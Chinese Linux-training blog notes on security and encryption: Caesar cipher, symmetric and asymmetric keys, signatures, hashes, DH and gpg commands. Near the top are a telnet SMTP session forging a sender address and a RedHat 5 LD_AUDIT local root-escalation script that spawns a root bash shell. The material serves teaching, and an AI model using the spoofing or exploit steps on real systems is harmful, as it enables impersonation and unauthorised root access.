安全和加密

安全基础
仿冒别人给某人发邮件
telnet 127.0.0.1 25
helo a.com 命令
mail from:god@heaven.com 从某处发来的邮件
rcpt to:root 给某人发邮件
data 数据
subject:hello 邮件名
I miss you 邮件正文
How old are you
. 点代表结束
quit

redhat5普通用户提升管理员权限脚本
mkdir /tmp/wang
ln /bin/ping /tmp/wang/test
exec 3< /tmp/wang/test
rm -rf /tmp/wang
cat > /tmp/wang.c <<eof
void _attribute_((constrector)) init()
{
setuid(0);
system(“/bin/bash”);
}
eof

gcc -w -fPIC -shared -o /tmp/wang /tmp/wang.c
LD_AUDIT=”$ORIGIN” exec /proc/self/fd/3 &> /dev/null

两种加密体系

加密算法
1算法可以公开
2密钥(口令)不公开

love
orzi 每一位字母向后移三位

凯撒密码

对称
data明文–加密key1–data’密文–解密key2–data明文

对称:key1==key2 加密解密都是相同密钥
非对称:key1 != key2 加密解密是不同密钥

非对称
公钥加密对应的另一把私钥解密 Pa,Sa
私钥加密对应的另一把公钥解密 Pb,Sb

数字签名,数据来源的确认
data明文–加密key1=Sa–data’密文–解密key2=Pa–data明文

DES:1G 2G 4分钟 8分钟 对称的
RSA:1G 1G 1分钟 64hour 非对称的

Pb[Sa(data)]

Sb{Pb[Sa(data)]}=Sa(data)

Pa{Sa(data)}=data

md5 128
sha1 160
sha512 512

hash(data)=digest 摘要(密钥)
1 data不同,摘要必不同(密钥)
2 摘要(密钥)相同,data相同
3 不论data大小,digest大小只能算法有关
4 hash算法,不可逆
md5sum case.sh 得出摘要 16进制 数据不变摘要之不变 得到摘要值推算不出data不可逆
sha1sum f1.sh 160位的16进制数
两种算法已被破解 山东大学教授王小云
sha512sum file

1 Pb[Sa(data)]

2 Pb{data+Sa[hash(data)]}
Sb{Pb{data+Sa[hash(data)]}}=data+Sa[hash(data)]
hash(data)=A
Pa{Sa[hash(data)]}=hash(data)=B
A=B?

3 对称 非 hash
key{data+Sa[hash(data)]}+Pb(key)

密钥交换
DH(Deffie-Hellman)
大素数(大质数)能够被1和自己整除的数字
rpm -V bash 查看文件中元数据是否发生变化,包校验
对称密钥
gpg -c file 加密
gpg -d file.gpg 解密
gpg -o file1 -d file.gpg

非对称密钥
gpg –gen–key 生成密钥对
gpg –list–key
cd .gnupg/ 存放生成的密钥的目录
往别的用户导公钥
gpg -a –export -o /app/file.pubkey 生成易读的格式导出到文件
scp … 拷贝
(7)gpg –import /app/file.pub.key 导入公钥
gpg -e -r magedu(公钥) file 用magedu的公钥加密文件
scp .. 拷贝
(6)gpg -d file.gpg 解密

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/91185

(0)
liuyongweiliuyongwei
上一篇 2018-01-17
下一篇 2018-01-17

相关推荐

  • magedu_20160808

    行编辑器sed与vim文本处理器     一.行编辑器sed的使用介绍     sed英文全称stream editor,行编辑器。其工作模式为将文件中内容按行转移至sed模拟空间中,根据地址判定此行是否匹配,如果匹配,根据命令输出并打印,如果不匹配,按照默认打印到屏幕上。它的作用是根据选项和地址界定‘scr…

    Linux干货 2016-08-10
  • Bash1

    做语法测试,没有消息就是最好的消息 加权限 单个语句的错误并不妨碍之后的语句,但是逻辑错误会导致后续语句执行不了 bash:     -n:语法测试     -x:模拟单步执行 变量类别:     本地变量   &nbs…

    Linux干货 2016-09-17
  • 14 用户组和权限管理4

    14 用户组和权限管理4 一、杂项知识整理 1、groups 查看用户所属组列表 [user1@localhost ~]$ groups user3 user1 2、文件属性:-rw-r–r–. 1 root root 0 8月   3 07:56 cgroup.clone_children &…

    Linux干货 2016-08-04
  • Linux系统认知

    前言 在认识Linux系统之前先介绍下计算机的组成构造及其功能: 1,简单来说计算机可以划分为软件系统和硬件系统: (1)软件系统自不必说就是各种不同的程序,协助用户更好地使用电脑。 (2)硬件系统指的是主机、显示器、鼠键等硬件设备。 2,按冯诺依曼体系可将计算机按逻辑构成分为: (1)CPU(运算器、控制器)。运算器是数据处理装置,用来完成对数据的算术运算…

    Linux干货 2016-09-20
  • 优云运维安全专家实践:使用802.1X+FreeRadius+LDAP实现网络准入方案

    本文,将为大家分享运维前沿在网络准入管理方面的实践经验。 网络准入业界常用方案 为了保证网络资源的安全,拒绝非法入侵,现代IT网络总需要一定的网络准入方案,而目前业界常用的网络准入方案有: 而今天给大家介绍的802.1X+FreeRadius+LDAP网络准入方案,则避免了上述方案中的缺点,是一套低成本,控制能力强,符合行业标准的一套网络准入认证体系。 什么…

    安全运维 2016-07-10
  • Linux脚本基础练习

    马哥教育网络班+ 第7周课堂练习 Linux脚本基础练习 练习: 1、创建一个10G分区,并格式为ext4文件系统; (1)要求其block大小为2048,预留空间百分比为2,卷标为MYDATA,默认挂载属性包含acl (2)挂载至/data/mydata目录 要求挂载时禁止程序自动运行,且不更新文件的访问时间戳 第一步,在虚拟机中挂载一块20G的新硬盘 &…

    Linux干货 2016-11-09